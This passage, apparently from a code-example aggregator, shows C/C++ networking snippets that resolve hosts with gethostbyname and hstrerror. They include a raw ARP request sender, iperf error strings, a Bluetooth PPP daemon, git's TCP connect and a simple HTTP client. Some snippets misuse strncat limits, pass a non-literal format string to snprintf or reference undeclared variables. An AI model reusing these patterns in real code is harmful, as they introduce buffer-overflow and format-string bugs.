    memcpy ( ( char * ) pkg.arp_tpa, ( char * ) ip,4 );
	/*unsigned char tip[5];
    memset(tip,0,sizeof(tip));
	inet_aton(dest,(struct in_addr *)tip);
	memcpy((char *)pkg.arp_tpa,(char *)tip,4);*/
    /* 实际应该使用PF_PACKET */
    if ( ( sockfd = socket ( PF_INET,SOCK_PACKET,htons ( ETH_P_ALL ) ) ) ==-1 )
    {
        fprintf ( stderr,"Socket Error:%s\n\a",strerror ( errno ) );
        return ( 0 );
    }

    memset ( &sa,'\0',sizeof ( sa ) );
    strcpy ( sa.sa_data,"eth0" );

    len = sendto ( sockfd,&pkg,sizeof ( pkg ),0,&sa,sizeof ( sa ) );
    if ( len != sizeof ( pkg ) )
    {
        fprintf ( stderr,"Sendto Error:%s\n\a",strerror ( errno ) );
        return ( 0 );
    }
    Ether_pkg *parse;
    parse = ( Ether_pkg * ) buffer;
    fd_set readfds;
    struct timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 500000; /*500毫秒*/
    FD_ZERO ( &readfds );
    FD_SET ( sockfd, &readfds );
    len = select ( sockfd+1, &readfds, 0, 0, &tv );
    if ( len>-1 )
    {
        if ( FD_ISSET ( sockfd,&readfds ) )
        {
            memset ( buffer,0,sizeof ( buffer ) );
            len=recvfrom ( sockfd,buffer,sizeof ( buffer ),0,NULL,&len );
            if ( ( ntohs ( parse->ether_type ) ==ETHERTYPE_ARP ) &&
                    ( ntohs ( parse->ar_op ) == ARPOP_REPLY ) )
            {
                parse_ether_package ( parse );                
            }
        }
    }
    return 1;
}
Ejemplo n.º 24
0
gboolean fbConnSpecLookupAI(
    fbConnSpec_t        *spec,
    gboolean            passive,
    GError              **err)
{
    struct sockaddr_in  *sa = NULL;
    struct hostent      *he = NULL;
    struct servent      *se = NULL;
    unsigned long       svcaddrlong;
    char                *svcaddrend;
    struct addrinfo     *ai = NULL;

    /* free old addrinfo if necessary */
    fbConnSpecFreeAI(spec);

    /* create a sockaddr */
    sa = g_new0(struct sockaddr_in, 1);

    /* get service address */
    svcaddrlong = strtoul(spec->svc, &svcaddrend, 10);
    if (svcaddrend != svcaddr) {
        /* Convert long to net-order uint16_t */
        sa->sin_port = g_htons((uint16_t)svcaddrlong);
    } else {
        struct servent *se;
        /* Do service lookup */
        if (!(se = getservbyname(spec->svc, "udp"))) {
            g_set_error(err, FB_ERROR_DOMAIN, FB_ERROR_CONN,
                    "error looking up service %s", spec->svc);
            g_free(sa);
            return FALSE;
        }
        sa->sin_port = se->s_port;
    }

    /* get host address */
    if (spec->host) {
        if (!(he = gethostbyname(spec->host))) {
            g_set_error(err, FB_ERROR_DOMAIN, FB_ERROR_CONN,
                        "error looking up host %s: %s",
                        spec->host, hstrerror(h_errno));
            g_free(sa);
            return FALSE;
        }
        sa->sin_addr.s_addr = *(he->h_addr);
    } else {
        if (passive) {
            sa->sin_addr.s_addr = htonl(INADDR_ANY);
        } else {
            g_set_error(err, FB_ERROR_DOMAIN, FB_ERROR_CONN,
                        "cannot connect() without host address");
            g_free(sa);
            return FALSE;
        }
    }

    /* fake up a struct addrinfo */
    ai = g_new0(struct addrinfo, 1);
    ai->ai_family = AF_INET;
    ai->ai_addrlen = sizeof(struct sockaddr_in);
    ai->ai_addr = sa;

    /* get socktype and protocol from transport */
    switch (spec->transport) {
#if FB_ENABLE_SCTP
    case FB_SCTP:
#if HAVE_OPENSSL_DTLS_SCTP
    case FB_DTLS_SCTP:
#endif
        ai->ai_socktype = SOCK_SEQPACKET;
        ai->ai_protocol = 0;
        break;
#endif
    case FB_TCP:
#if HAVE_OPENSSL
    case FB_TLS_TCP:
#endif
        ai->ai_socktype = SOCK_STREAM;
        ai->ai_protocol = IPPROTO_TCP;
        break;
    case FB_UDP:
#if HAVE_OPENSSL_DTLS
    case FB_DTLS_UDP:
#endif
        ai->ai_socktype = SOCK_DGRAM;
        ai->ai_protocol = IPPROTO_UDP;
        break;
    default:
        g_assert_not_reached();
    }

    spec->vai = ai;
    return TRUE;
}
Ejemplo n.º 25
0
char *
iperf_strerror(int i_errno)
{
    static char errstr[256];
    int len, perr, herr;
    perr = herr = 0;

    len = sizeof(errstr);
    memset(errstr, 0, len);

    switch (i_errno) {
        case IENONE:
            snprintf(errstr, len, "no error");
            break;
        case IESERVCLIENT:
            snprintf(errstr, len, "cannot be both server and client");
            break;
        case IENOROLE:
            snprintf(errstr, len, "must either be a client (-c) or server (-s)");
            break;
        case IESERVERONLY:
            snprintf(errstr, len, "some option you are trying to set is server only");
            break;
        case IECLIENTONLY:
            snprintf(errstr, len, "some option you are trying to set is client only");
            break;
        case IEDURATION:
            snprintf(errstr, len, "test duration too long (maximum = %d seconds)", MAX_TIME);
            break;
        case IENUMSTREAMS:
            snprintf(errstr, len, "number of parallel streams too large (maximum = %d)", MAX_STREAMS);
            break;
        case IEBLOCKSIZE:
            snprintf(errstr, len, "block size too large (maximum = %d bytes)", MAX_BLOCKSIZE);
            break;
        case IEBUFSIZE:
            snprintf(errstr, len, "socket buffer size too large (maximum = %d bytes)", MAX_TCP_BUFFER);
            break;
        case IEINTERVAL:
            snprintf(errstr, len, "invalid report interval (min = %g, max = %g seconds)", MIN_INTERVAL, MAX_INTERVAL);
            break;
        case IEMSS:
            snprintf(errstr, len, "TCP MSS too large (maximum = %d bytes)", MAX_MSS);
            break;
        case IENOSENDFILE:
            snprintf(errstr, len, "this OS does not support sendfile");
            break;
        case IEOMIT:
            snprintf(errstr, len, "bogus value for --omit");
            break;
        case IEUNIMP:
            snprintf(errstr, len, "an option you are trying to set is not implemented yet");
            break;
        case IEFILE:
            snprintf(errstr, len, "unable to open -F file");
            perr = 1;
            break;
        case IEBURST:
            snprintf(errstr, len, "invalid burst count (maximum = %d)", MAX_BURST);
            break;
        case IEENDCONDITIONS:
            snprintf(errstr, len, "only one test end condition (-t, -n, -k) may be specified");
            break;
	case IELOGFILE:
	    snprintf(errstr, len, "unable to open log file");
	    perr = 1;
	    break;
        case IENEWTEST:
            snprintf(errstr, len, "unable to create a new test");
            perr = 1;
            break;
        case IEINITTEST:
            snprintf(errstr, len, "test initialization failed");
            perr = 1;
            break;
        case IELISTEN:
            snprintf(errstr, len, "unable to start listener for connections");
            perr = 1;
            break;
        case IECONNECT:
            snprintf(errstr, len, "unable to connect to server");
            perr = 1;
            break;
        case IEACCEPT:
            snprintf(errstr, len, "unable to accept connection from client");
            herr = 1;
            perr = 1;
            break;
        case IESENDCOOKIE:
            snprintf(errstr, len, "unable to send cookie to server");
            perr = 1;
            break;
        case IERECVCOOKIE:
            snprintf(errstr, len, "unable to receive cookie at server");
            perr = 1;
            break;
        case IECTRLWRITE:
            snprintf(errstr, len, "unable to write to the control socket");
            perr = 1;
            break;
        case IECTRLREAD:
            snprintf(errstr, len, "unable to read from the control socket");
            perr = 1;
            break;
        case IECTRLCLOSE:
            snprintf(errstr, len, "control socket has closed unexpectedly");
            break;
        case IEMESSAGE:
            snprintf(errstr, len, "received an unknown control message");
            break;
        case IESENDMESSAGE:
            snprintf(errstr, len, "unable to send control message");
            perr = 1;
            break;
        case IERECVMESSAGE:
            snprintf(errstr, len, "unable to receive control message");
            perr = 1;
            break;
        case IESENDPARAMS:
            snprintf(errstr, len, "unable to send parameters to server");
            perr = 1;
            break;
        case IERECVPARAMS:
            snprintf(errstr, len, "unable to receive parameters from client");
            perr = 1;
            break;
        case IEPACKAGERESULTS:
            snprintf(errstr, len, "unable to package results");
            perr = 1;
            break;
        case IESENDRESULTS:
            snprintf(errstr, len, "unable to send results");
            perr = 1;
            break;
        case IERECVRESULTS:
            snprintf(errstr, len, "unable to receive results");
            perr = 1;
            break;
        case IESELECT:
            snprintf(errstr, len, "select failed");
            perr = 1;
            break;
        case IECLIENTTERM:
            snprintf(errstr, len, "the client has terminated");
            break;
        case IESERVERTERM:
            snprintf(errstr, len, "the server has terminated");
            break;
        case IEACCESSDENIED:
            snprintf(errstr, len, "the server is busy running a test. try again later");
            break;
        case IESETNODELAY:
            snprintf(errstr, len, "unable to set TCP NODELAY");
            perr = 1;
            break;
        case IESETMSS:
            snprintf(errstr, len, "unable to set TCP MSS");
            perr = 1;
            break;
        case IESETBUF:
            snprintf(errstr, len, "unable to set socket buffer size");
            perr = 1;
            break;
        case IESETTOS:
            snprintf(errstr, len, "unable to set IP TOS");
            perr = 1;
            break;
        case IESETCOS:
            snprintf(errstr, len, "unable to set IPv6 traffic class");
            perr = 1;
            break;
        case IESETFLOW:
            snprintf(errstr, len, "unable to set IPv6 flow label");
            break;
        case IEREUSEADDR:
            snprintf(errstr, len, "unable to reuse address on socket");
            perr = 1;
            break;
        case IENONBLOCKING:
            snprintf(errstr, len, "unable to set socket to non-blocking");
            perr = 1;
            break;
        case IESETWINDOWSIZE:
            snprintf(errstr, len, "unable to set socket window size");
            perr = 1;
            break;
        case IEPROTOCOL:
            snprintf(errstr, len, "protocol does not exist");
            break;
        case IEAFFINITY:
            snprintf(errstr, len, "unable to set CPU affinity");
            perr = 1;
            break;
	case IEDAEMON:
	    snprintf(errstr, len, "unable to become a daemon");
	    perr = 1;
	    break;
        case IECREATESTREAM:
            snprintf(errstr, len, "unable to create a new stream");
            herr = 1;
            perr = 1;
            break;
        case IEINITSTREAM:
            snprintf(errstr, len, "unable to initialize stream");
            herr = 1;
            perr = 1;
            break;
        case IESTREAMLISTEN:
            snprintf(errstr, len, "unable to start stream listener");
            perr = 1;
            break;
        case IESTREAMCONNECT:
            snprintf(errstr, len, "unable to connect stream");
            herr = 1;
            perr = 1;
            break;
        case IESTREAMACCEPT:
            snprintf(errstr, len, "unable to accept stream connection");
            perr = 1;
            break;
        case IESTREAMWRITE:
            snprintf(errstr, len, "unable to write to stream socket");
            perr = 1;
            break;
        case IESTREAMREAD:
            snprintf(errstr, len, "unable to read from stream socket");
            perr = 1;
            break;
        case IESTREAMCLOSE:
            snprintf(errstr, len, "stream socket has closed unexpectedly");
            break;
        case IESTREAMID:
            snprintf(errstr, len, "stream has an invalid id");
            break;
        case IENEWTIMER:
            snprintf(errstr, len, "unable to create new timer");
            perr = 1;
            break;
        case IEUPDATETIMER:
            snprintf(errstr, len, "unable to update timer");
            perr = 1;
            break;
        case IESETCONGESTION:
            snprintf(errstr, len, "unable to set TCP_CONGESTION: " 
                                  "Supplied congestion control algorithm not supported on this host");
            break;
	case IEPIDFILE:
            snprintf(errstr, len, "unable to write PID file");
            perr = 1;
            break;
	case IEV6ONLY:
	    snprintf(errstr, len, "Unable to set/reset IPV6_V6ONLY");
	    perr = 1;
	    break;
        case IESETSCTPDISABLEFRAG:
            snprintf(errstr, len, "unable to set SCTP_DISABLE_FRAG");
            perr = 1;
            break;
    }

    if (herr || perr)
        strncat(errstr, ": ", len);
    if (h_errno && herr) {
        strncat(errstr, hstrerror(h_errno), len);
    } else if (errno && perr) {
        strncat(errstr, strerror(errno), len);
    }

    return errstr;
}
Ejemplo n.º 26
0
/* Main */
int
main(int argc, char *argv[])
{
	struct sockaddr_rfcomm   sock_addr;
	char			*label = NULL, *unit = NULL, *ep = NULL;
	bdaddr_t		 addr;
	int			 s, channel, detach, server, service,
				 regdun, regsp;
	pid_t			 pid;

	memcpy(&addr, NG_HCI_BDADDR_ANY, sizeof(addr));
	channel = 0;
	detach = 1;
	server = 0;
	service = 0;
	regdun = 0;
	regsp = 0;

	/* Parse command line arguments */
	while ((s = getopt(argc, argv, "a:cC:dDhl:sSu:")) != -1) {
		switch (s) {
		case 'a': /* BDADDR */
			if (!bt_aton(optarg, &addr)) {
				struct hostent	*he = NULL;

				if ((he = bt_gethostbyname(optarg)) == NULL)
					errx(1, "%s: %s", optarg, hstrerror(h_errno));

				memcpy(&addr, he->h_addr, sizeof(addr));
			}
			break;

		case 'c': /* client */
			server = 0;
			break;

		case 'C': /* RFCOMM channel */
			channel = strtoul(optarg, &ep, 10);
			if (*ep != '\0') {
				channel = 0;
				switch (tolower(optarg[0])) {
				case 'd': /* DialUp Networking */
					service = SDP_SERVICE_CLASS_DIALUP_NETWORKING;
					break;

				case 'l': /* LAN Access Using PPP */
					service = SDP_SERVICE_CLASS_LAN_ACCESS_USING_PPP;
					break;
				}
			}
			break;

		case 'd': /* do not detach */
			detach = 0;
			break;

		case 'D': /* Register DUN service as well as LAN service */
			regdun = 1;
			break;

		case 'l': /* PPP label */
			label = optarg;
			break;

		case 's': /* server */
			server = 1;
			break;

		case 'S': /* Register SP service as well as LAN service */
			regsp = 1;
			break;

		case 'u': /* PPP -unit option */
			strtoul(optarg, &ep, 10);
			if (*ep != '\0')
				usage();
				/* NOT REACHED */

			unit = optarg;
			break;

		case 'h':
		default:
			usage();
			/* NOT REACHED */
		}
	}

	/* Check if we got everything we wanted */
	if (label == NULL)
                errx(1, "Must specify PPP label");

	if (!server) {
		if (memcmp(&addr, NG_HCI_BDADDR_ANY, sizeof(addr)) == 0)
                	errx(1, "Must specify server BD_ADDR");

		/* Check channel, if was not set then obtain it via SDP */
		if (channel == 0 && service != 0)
			if (rfcomm_channel_lookup(NULL, &addr, service,
							&channel, &s) != 0)
				errc(1, s, "Could not obtain RFCOMM channel");
	}

        if (channel <= 0 || channel > 30)
                errx(1, "Invalid RFCOMM channel number %d", channel);

	openlog(RFCOMM_PPPD, LOG_PID | LOG_PERROR | LOG_NDELAY, LOG_USER);

	if (detach && daemon(0, 0) < 0) {
		syslog(LOG_ERR, "Could not daemon(0, 0). %s (%d)",
			strerror(errno), errno);
		exit(1);
	}

	s = socket(PF_BLUETOOTH, SOCK_STREAM, BLUETOOTH_PROTO_RFCOMM);
	if (s < 0) {
		syslog(LOG_ERR, "Could not create socket. %s (%d)",
			strerror(errno), errno);
		exit(1);
	}

	if (server) {
		struct sigaction	 sa;
		void			*ss = NULL;
		sdp_lan_profile_t	 lan;

		/* Install signal handler */
		memset(&sa, 0, sizeof(sa));
		sa.sa_handler = sighandler;

		if (sigaction(SIGTERM, &sa, NULL) < 0) {
			syslog(LOG_ERR, "Could not sigaction(SIGTERM). %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		if (sigaction(SIGHUP, &sa, NULL) < 0) {
			syslog(LOG_ERR, "Could not sigaction(SIGHUP). %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		if (sigaction(SIGINT, &sa, NULL) < 0) {
			syslog(LOG_ERR, "Could not sigaction(SIGINT). %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		sa.sa_handler = SIG_IGN;
		sa.sa_flags = SA_NOCLDWAIT;

		if (sigaction(SIGCHLD, &sa, NULL) < 0) {
			syslog(LOG_ERR, "Could not sigaction(SIGCHLD). %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		/* bind socket and listen for incoming connections */
		sock_addr.rfcomm_len = sizeof(sock_addr);
		sock_addr.rfcomm_family = AF_BLUETOOTH;
		memcpy(&sock_addr.rfcomm_bdaddr, &addr,
			sizeof(sock_addr.rfcomm_bdaddr));
		sock_addr.rfcomm_channel = channel;

		if (bind(s, (struct sockaddr *) &sock_addr,
				sizeof(sock_addr)) < 0) {
			syslog(LOG_ERR, "Could not bind socket. %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		if (listen(s, 10) < 0) {
			syslog(LOG_ERR, "Could not listen on socket. %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		ss = sdp_open_local(NULL);
		if (ss == NULL) {
			syslog(LOG_ERR, "Unable to create local SDP session");
			exit(1);
		}

		if (sdp_error(ss) != 0) {
			syslog(LOG_ERR, "Unable to open local SDP session. " \
				"%s (%d)", strerror(sdp_error(ss)),
				sdp_error(ss));
			exit(1);
		}

		memset(&lan, 0, sizeof(lan));
		lan.server_channel = channel;

		if (sdp_register_service(ss,
				SDP_SERVICE_CLASS_LAN_ACCESS_USING_PPP,
				&addr, (void *) &lan, sizeof(lan), NULL) != 0) {
			syslog(LOG_ERR, "Unable to register LAN service with " \
				"local SDP daemon. %s (%d)",
				strerror(sdp_error(ss)), sdp_error(ss));
			exit(1);
		}

		/*
		 * Register DUN (Dial-Up Networking) service on the same
		 * RFCOMM channel if requested. There is really no good reason
		 * to not to support this. AT-command exchange can be faked
		 * with chat script in ppp.conf
		 */

		if (regdun) {
			sdp_dun_profile_t	dun;

			memset(&dun, 0, sizeof(dun));
			dun.server_channel = channel;

			if (sdp_register_service(ss,
					SDP_SERVICE_CLASS_DIALUP_NETWORKING,
					&addr, (void *) &dun, sizeof(dun),
					NULL) != 0) {
				syslog(LOG_ERR, "Unable to register DUN " \
					"service with local SDP daemon. " \
					"%s (%d)", strerror(sdp_error(ss)),
					sdp_error(ss));
				exit(1);
			}
		}

		/*
		 * Register SP (Serial Port) service on the same RFCOMM channel
		 * if requested. It appears that some cell phones are using so
		 * called "callback mechanism". In this scenario user is trying
		 * to connect his cell phone to the Internet, and, user's host
		 * computer is acting as the gateway server. It seems that it
		 * is not possible to tell the phone to just connect and start
		 * using the LAN service. Instead the user's host computer must
		 * "jump start" the phone by connecting to the phone's SP
		 * service. What happens next is the phone kills the existing
		 * connection and opens another connection back to the user's
		 * host computer. The phone really wants to use LAN service,
		 * but for whatever reason it looks for SP service on the
		 * user's host computer. This brain damaged behavior was
		 * reported for Nokia 6600 and Sony/Ericsson P900. Both phones
		 * are Symbian-based phones. Perhaps this is a Symbian problem?
		 */

		if (regsp) {
			sdp_sp_profile_t	sp;

			memset(&sp, 0, sizeof(sp));
			sp.server_channel = channel;

			if (sdp_register_service(ss,
					SDP_SERVICE_CLASS_SERIAL_PORT,
					&addr, (void *) &sp, sizeof(sp),
					NULL) != 0) {
				syslog(LOG_ERR, "Unable to register SP " \
					"service with local SDP daemon. " \
					"%s (%d)", strerror(sdp_error(ss)),
					sdp_error(ss));
				exit(1);
			}
		}
		
		for (done = 0; !done; ) {
			socklen_t	len = sizeof(sock_addr);
			int		s1 = accept(s, (struct sockaddr *) &sock_addr, &len);

			if (s1 < 0) {
				syslog(LOG_ERR, "Could not accept connection " \
					"on socket. %s (%d)", strerror(errno),
					errno);
				exit(1);
			}
				
			pid = fork();
			if (pid == (pid_t) -1) {
				syslog(LOG_ERR, "Could not fork(). %s (%d)",
					strerror(errno), errno);
				exit(1);
			}

			if (pid == 0) {
				sdp_close(ss);
				close(s);

				/* Reset signal handler */
				memset(&sa, 0, sizeof(sa));
				sa.sa_handler = SIG_DFL;

				sigaction(SIGTERM, &sa, NULL);
				sigaction(SIGHUP, &sa, NULL);
				sigaction(SIGINT, &sa, NULL);
				sigaction(SIGCHLD, &sa, NULL);

				/* Become daemon */
				daemon(0, 0);

				/*
				 * XXX Make sure user does not shoot himself
				 * in the foot. Do not pass unit option to the
				 * PPP when operating in the server mode.
				 */

				exec_ppp(s1, NULL, label);
			} else
				close(s1);
		}
	} else {
		sock_addr.rfcomm_len = sizeof(sock_addr);
		sock_addr.rfcomm_family = AF_BLUETOOTH;
		memcpy(&sock_addr.rfcomm_bdaddr, NG_HCI_BDADDR_ANY,
			sizeof(sock_addr.rfcomm_bdaddr));
		sock_addr.rfcomm_channel = 0;

		if (bind(s, (struct sockaddr *) &sock_addr,
				sizeof(sock_addr)) < 0) {
			syslog(LOG_ERR, "Could not bind socket. %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		memcpy(&sock_addr.rfcomm_bdaddr, &addr,
			sizeof(sock_addr.rfcomm_bdaddr));
		sock_addr.rfcomm_channel = channel;

		if (connect(s, (struct sockaddr *) &sock_addr,
				sizeof(sock_addr)) < 0) {
			syslog(LOG_ERR, "Could not connect socket. %s (%d)",
				strerror(errno), errno);
			exit(1);
		}

		exec_ppp(s, unit, label);
	}

	exit(0);
} /* main */
Ejemplo n.º 27
0
void Getter(CMDDATA &cmddata)
{
  std::string request;
  std::string cmdRes;
  char recvdata[32];

  struct sockaddr_in server;
  int sock;
  // char deststr[80] = serverIP.c_str();
  unsigned int **addrptr;

  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (sock < 0) {
    perror("socket");
    return;
  }

  server.sin_family = AF_INET;
  server.sin_port = htons(10001);

  server.sin_addr.s_addr = inet_addr(ros_ip_address.c_str());
  if (server.sin_addr.s_addr == 0xffffffff) {
    struct hostent *host;

    host = gethostbyname(ros_ip_address.c_str());
    if (host == NULL) {
      if (h_errno == HOST_NOT_FOUND) {
        fprintf(stdout,"cmd : ROS PC not found : %s\n", ros_ip_address.c_str());
      } else {
        fprintf(stdout,"cmd : %s : %s\n", hstrerror(h_errno), ros_ip_address.c_str());
      }
      return;
    }

    addrptr = (unsigned int **)host->h_addr_list;

    while (*addrptr != NULL) {
      server.sin_addr.s_addr = *(*addrptr);

      /* break the loop when connected. */
      if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == 0) {
        break;
      }

      addrptr++;
      // let's try another IP address if not successfully connected.
    }
   
    // if all connections failed...
    if (*addrptr == NULL) {
      perror("cmd : connect");
      return;
    }
  } else {
    if (connect(sock,
		(struct sockaddr *)&server, sizeof(server)) != 0) {
      perror("cmd : connect");
      return;
    }
  }

  int n;

  while (true) {
    memset(recvdata, 0, sizeof(recvdata));
    n = recv(sock, recvdata, sizeof(recvdata),0);
    if (n < 0) {
      perror("cmd : read erro");
      return;
    } else if (n == 0) {
      break;
    }
    cmdRes.append(recvdata,n);
  }

  // string version
  std::vector<std::string> cmdVector;
  cmdVector = split(cmdRes,',');
  if (cmdVector.size() == 7) {
    cmddata.vel.tv = atof(cmdVector[0].c_str());
    cmddata.vel.sv = atof(cmdVector[1].c_str());
    
    cout << endl << endl;
    cout << "cmddata.vel.tv = " << cmddata.vel.tv << endl;
    cout << "cmddata.vel.sv = " << cmddata.vel.sv << endl;
    
#if 0 /* log */
      ofstream ofs("/tmp/cmd.log", ios::app);
      ofs << cmddata.vel.tv << " " 
      << cmddata.vel.sv << " " 
      << endl;
#endif

    cmddata.mode = atoi(cmdVector[2].c_str());
    cmddata.gear = atoi(cmdVector[3].c_str());
    cmddata.accel = atoi(cmdVector[4].c_str());
    cmddata.steer = atoi(cmdVector[5].c_str());
    cmddata.brake = atoi(cmdVector[6].c_str());
  } else {
    fprintf(stderr,"cmd : Recv data is invalid\n");
  }
  cout << "cmd : return data : " << cmdRes.c_str() << endl;

  close(sock);
}
Ejemplo n.º 28
0
int weather_child_getinfo(unsigned char *weatherinfo)
{
	struct hostent *h;
	char **p;
	char ip_address_string[INET6_ADDRSTRLEN + 1];
	int fd;
	struct sockaddr_in addr;
	char *hostname = "www.weather.com.cn";
	ssize_t n;
	char *request;
	char buf[128];

	//struct hostent *gethostbyname(const char *name);
	h = gethostbyname(hostname);
	if (h == NULL)
	{
		fprintf(stderr, "Failed to resolv domain name %s: %s\n", hostname, hstrerror(h_errno));
		return -1;
	}

#if 0
	struct hostent
	{
		char *h_name;		/* official name of host */
		char **h_aliases;		/* alias list */
		int h_addrtype;		/* host address type */
		int h_length;		/* length of address */
		char **h_addr_list;		/* list of addresses */
	}
#  define h_addr  h_addr_list[0]	/* for backward compatibility */
#endif

	p = h->h_addr_list;

	if((fd = socket(h->h_addrtype, SOCK_STREAM, 0)) < 0){
		perror("socket failed");
		return -1;
	}

	while (p && *p)
	{
		memset(&addr, 0, sizeof(addr));
		addr.sin_family = AF_INET;
		addr.sin_port = htons(80);
		addr.sin_addr = *((struct in_addr *)(*p));
		       
#if _DEBUG_
		memset(ip_address_string, 0, sizeof(ip_address_string));

		//const char *inet_ntop(int af, const void *src, char *dst, socklen_t cnt);
		inet_ntop(h->h_addrtype, *p, ip_address_string, sizeof(ip_address_string));

		fprintf(stdout, "\t%s\n", ip_address_string);
#endif

		//int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);		
		if(connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0){
			perror("connect failed");
			return -1;
		}else{
			fprintf(stdout, "connect successful\n");
			break;
		}

		p++;
	}

	request = "GET /weather/101010100.shtml\n";
	//ssize_t write(int fd, const void *buf, size_t count);
	write(fd, request, strlen(request));

	//ssize_t read(int fd, void *buf, size_t count);
	while((n = read(fd, buf, 7))){
		if(n < 0){
			perror("read failed");
			return -1;
		}else if(n == 0){
			break;
		}else{
			if(strncmp(buf, "<title>", 7) == 0){
				weather_filter_weather(fd, weatherinfo);
			}else{
				weather_nextline(fd);
			}
		}
	}

	close(fd);

	return 0;
}
Ejemplo n.º 29
0
/*
 * Returns a connected socket() fd, or else die()s.
 */
static int git_tcp_connect_sock(char *host, int flags)
{
	int sockfd = -1, saved_errno = 0;
	const char *port = STR(DEFAULT_GIT_PORT);
	char *ep;
	struct hostent *he;
	struct sockaddr_in sa;
	char **ap;
	unsigned int nport;
	int cnt;

	get_host_and_port(&host, &port);

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "Looking up %s ... ", host);

	he = gethostbyname(host);
	if (!he)
		die("Unable to look up %s (%s)", host, hstrerror(h_errno));
	nport = strtoul(port, &ep, 10);
	if ( ep == port || *ep ) {
		/* Not numeric */
		struct servent *se = getservbyname(port,"tcp");
		if ( !se )
			die("Unknown port %s", port);
		nport = se->s_port;
	}

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "done.\nConnecting to %s (port %s) ... ", host, port);

	for (cnt = 0, ap = he->h_addr_list; *ap; ap++, cnt++) {
		sockfd = socket(he->h_addrtype, SOCK_STREAM, 0);
		if (sockfd < 0) {
			saved_errno = errno;
			continue;
		}

		memset(&sa, 0, sizeof sa);
		sa.sin_family = he->h_addrtype;
		sa.sin_port = htons(nport);
		memcpy(&sa.sin_addr, *ap, he->h_length);

		if (connect(sockfd, (struct sockaddr *)&sa, sizeof sa) < 0) {
			saved_errno = errno;
			fprintf(stderr, "%s[%d: %s]: errno=%s\n",
				host,
				cnt,
				inet_ntoa(*(struct in_addr *)&sa.sin_addr),
				strerror(saved_errno));
			close(sockfd);
			sockfd = -1;
			continue;
		}
		if (flags & CONNECT_VERBOSE)
			fprintf(stderr, "%s ",
				inet_ntoa(*(struct in_addr *)&sa.sin_addr));
		break;
	}

	if (sockfd < 0)
		die("unable to connect a socket (%s)", strerror(saved_errno));

	if (flags & CONNECT_VERBOSE)
		fprintf(stderr, "done.\n");

	return sockfd;
}
Ejemplo n.º 30
0
int
main(int argc, char *argv[])
{
 struct sockaddr_in server;
 int sock;
 char buf[32];
 char param[32];
 char *deststr;
 unsigned int **addrptr;

 if (argc != 2) {
	 printf("Usage : %s dest\n", argv[0]);
	 return 1;
 }
 deststr = argv[1];

 sock = socket(AF_INET, SOCK_STREAM, 0);
 if (sock < 0) {
	 perror("socket");
	 return 1;
 }

 server.sin_family = AF_INET;
 server.sin_port = htons(12345); /* HTTPのポートは80番です */

 server.sin_addr.s_addr = inet_addr(deststr);
 if (server.sin_addr.s_addr == 0xffffffff) {
	 struct hostent *host;

	 host = gethostbyname(deststr);
	 if (host == NULL) {
		 if (h_errno == HOST_NOT_FOUND) {
			 /* h_errnoはexternで宣言されています */
			 printf("host not found : %s\n", deststr);
		 } else {
			/*
			HOST_NOT_FOUNDだけ特別扱いする必要はないですが、
			とりあえず例として分けてみました
			*/
			printf("%s : %s\n", hstrerror(h_errno), deststr);
		 }
		 return 1;
	 }

	 addrptr = (unsigned int **)host->h_addr_list;

	 while (*addrptr != NULL) {
		 server.sin_addr.s_addr = *(*addrptr);

		 /* connect()が成功したらloopを抜けます */
		 if (connect(sock,
				(struct sockaddr *)&server,
				sizeof(server)) == 0) {
			break;
		 }

		 addrptr++;
		 /* connectが失敗したら次のアドレスで試します */
	 }

	 /* connectが全て失敗した場合 */
	 if (*addrptr == NULL) {
		 perror("connect");
		 return 1;
	 }
 } else {
	 if (connect(sock,
                     (struct sockaddr *)&server, sizeof(server)) != 0) {
		 perror("connect");
		 return 1;
	 }
 }

 /* HTTPで「/」をリクエストする文字列を生成 */
 memset(buf, 0, sizeof(buf));

 snprintf(param, sizeof(param), "GET /");
 strncat(param, "hoge", sizeof(param));
 strncat(param, " HTTP/1.0\r\n\r\n", sizeof(param));

snprintf(buf, sizeof(buf), param);

// snprintf(buf, sizeof(buf), "GET /hoge HTTP/1.0\r\n\r\n");

 /* HTTPリクエスト送信 */
 int n = write(sock, buf, (int)strlen(buf));
 if (n < 0) {
	 perror("write");
	 return 1;
 }

 /* サーバからのHTTPメッセージ受信 */
 while (n > 0) {
	 memset(buf, 0, sizeof(buf));
	 n = read(sock, buf, sizeof(buf));
	 if (n < 0) {
		 perror("read");
		 return 1;
	 }

	 /* 受信結果を標準出力へ表示(ファイルディスクリプタ1は標準出力) */
	 write(1, buf, n);
 }

 close(sock);

 return 0;
}